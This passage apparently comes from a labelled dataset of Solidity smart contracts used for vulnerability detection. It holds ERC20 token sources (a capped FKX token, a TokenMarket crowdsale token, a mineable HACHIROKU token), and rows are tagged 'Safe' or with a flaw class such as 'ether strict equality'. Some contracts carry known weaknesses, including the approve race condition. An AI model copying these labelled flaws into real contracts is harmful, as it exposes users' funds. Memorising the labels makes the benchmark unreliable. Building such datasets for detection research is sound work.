function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: zeppelin-solidity/contracts/token/CappedToken.sol /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply.add(_amount) <= cap); return super.mint(_to, _amount); } } // File: contracts/FKX.sol /** * @title FKX */ contract FKX is CappedToken(FKX.TOKEN_SUPPLY) { using SafeMath for uint256; string public constant name = ""Knoxstertoken""; string public constant symbol = ""FKX""; uint8 public constant decimals = 18; string public constant version = ""1.0""; uint256 public constant TOKEN_SUPPLY = 150000000 * (10 ** uint256(decimals)); // 150 Million FKX }",Safe,8,8 1494.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; /* Minimum ammount of tokens every buyer can buy. */ uint public minCap; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } /** * Claim tokens that were accidentally sent to this contract. * * @param _token The address of the token contract that you want to recover. */ function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } }",./Dataset/ether strict equality (SE),3,3 0x03eb69807f87afa5419649c7602ba5501c1c2307__HachirokuToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'HACHIROKU Token' contract // Mineable ERC20 Token using Proof Of Work // // Symbol : 0xAE86 // Name : HACHIROKU Token // Total supply: 86,000,000.00 // Decimals : 8 // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } library ExtendedMath { //return the smaller of the two inputs (a or b) function limitLessThan(uint a, uint b) internal pure returns (uint c) { if(a > b) return b; return a; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract _HachirokuToken is ERC20Interface, Owned { using SafeMath for uint; using ExtendedMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public latestDifficultyPeriodStarted; uint public epochCount;//number of 'blocks' mined uint public _BLOCKS_PER_READJUSTMENT = 1024; //a little number uint public _MINIMUM_TARGET = 2**16; //a big number is easier ; just find a solution that is smaller //uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224 uint public _MAXIMUM_TARGET = 2**234; uint public miningTarget; bytes32 public challengeNumber; //generate a new one when a new reward is minted uint public rewardEra; uint public maxSupplyForEra; address public lastRewardTo; uint public lastRewardAmount; uint public lastRewardEthBlockNumber; bool locked = false; mapping(bytes32 => bytes32) solutionForChallenge; uint public tokensMinted; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function _HachirokuToken() public onlyOwner{ symbol = ""0xAE86""; name = ""HACHIROKU Token""; decimals = 8; _totalSupply = 86000000 * 10**uint(decimals); if(locked) revert(); locked = true; tokensMinted = 0; rewardEra = 0; maxSupplyForEra = _totalSupply.div(2); miningTarget = _MAXIMUM_TARGET; latestDifficultyPeriodStarted = block.number; _startNewMiningEpoch(); //The owner gets nothing! You must mine this ERC20 token //balances[owner] = _totalSupply; //Transfer(address(0), owner, _totalSupply); } function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) { //the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks bytes32 digest = keccak256(challengeNumber, msg.sender, nonce ); //the challenge digest must match the expected if (digest != challenge_digest) revert(); //the digest must be smaller than the target if(uint256(digest) > miningTarget) revert(); //only allow one reward for each challenge bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if(solution != 0x0) revert(); //prevent the same answer from awarding twice uint reward_amount = getMiningReward(); balances[msg.sender] = balances[msg.sender].add(reward_amount); tokensMinted = tokensMinted.add(reward_amount); //Cannot mint more tokens than there are assert(tokensMinted <= maxSupplyForEra); //set readonly diagnostics data lastRewardTo = msg.sender; lastRewardAmount = reward_amount; lastRewardEthBlockNumber = block.number; _startNewMiningEpoch(); Mint(msg.sender, reward_amount, epochCount, challengeNumber ); return true; } //a new 'block' to be mined function _startNewMiningEpoch() internal { //if max supply for the era will be exceeded next reward round then enter the new era before that happens //40 is the final reward era, almost all tokens minted //once the final era is reached, more tokens will not be given out because the assert function if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39) { rewardEra = rewardEra + 1; } //set the next minted supply at which the era will change // total supply is 8600000000000000 because of 8 decimal places maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1)); epochCount = epochCount.add(1); //every so often, readjust difficulty. Dont readjust when deploying if(epochCount % _BLOCKS_PER_READJUSTMENT == 0) { _reAdjustDifficulty(); } //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks //do this last since this is a protection mechanism in the mint() function challengeNumber = block.blockhash(block.number - 1); } //https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F //as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days //readjust the target by 5 percent function _reAdjustDifficulty() internal { uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted; //assume 360 ethereum blocks per hour //we want miners to spend 10 minutes to mine each 'block', about 60 ethereum blocks = one 0xbitcoin epoch uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256 uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum //if there were less eth blocks passed in time than expected if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod ) { uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod ); uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000); // If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100. //make it harder miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 % }else{ uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod ); uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000 //make it easier miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 % } latestDifficultyPeriodStarted = block.number; if(miningTarget < _MINIMUM_TARGET) //very difficult { miningTarget = _MINIMUM_TARGET; } if(miningTarget > _MAXIMUM_TARGET) //very easy { miningTarget = _MAXIMUM_TARGET; } } //this is a recent ethereum block hash, used to prevent pre-mining future blocks function getChallengeNumber() public constant returns (bytes32) { return challengeNumber; } //the number of zeroes the digest of the PoW solution requires. Auto adjusts function getMiningDifficulty() public constant returns (uint) { return _MAXIMUM_TARGET.div(miningTarget); } function getMiningTarget() public constant returns (uint) { return miningTarget; } //86m coins total //reward begins at 86 and is cut in half every reward era (as tokens are mined) function getMiningReward() public constant returns (uint) { //once we get half way thru the coins, only get 43 per block //every reward era, the reward amount halves. return (86 * 10**uint(decimals) ).div( 2**rewardEra ) ; } //help debug mining software function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); return digest; } //help debug mining software function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); if(uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, 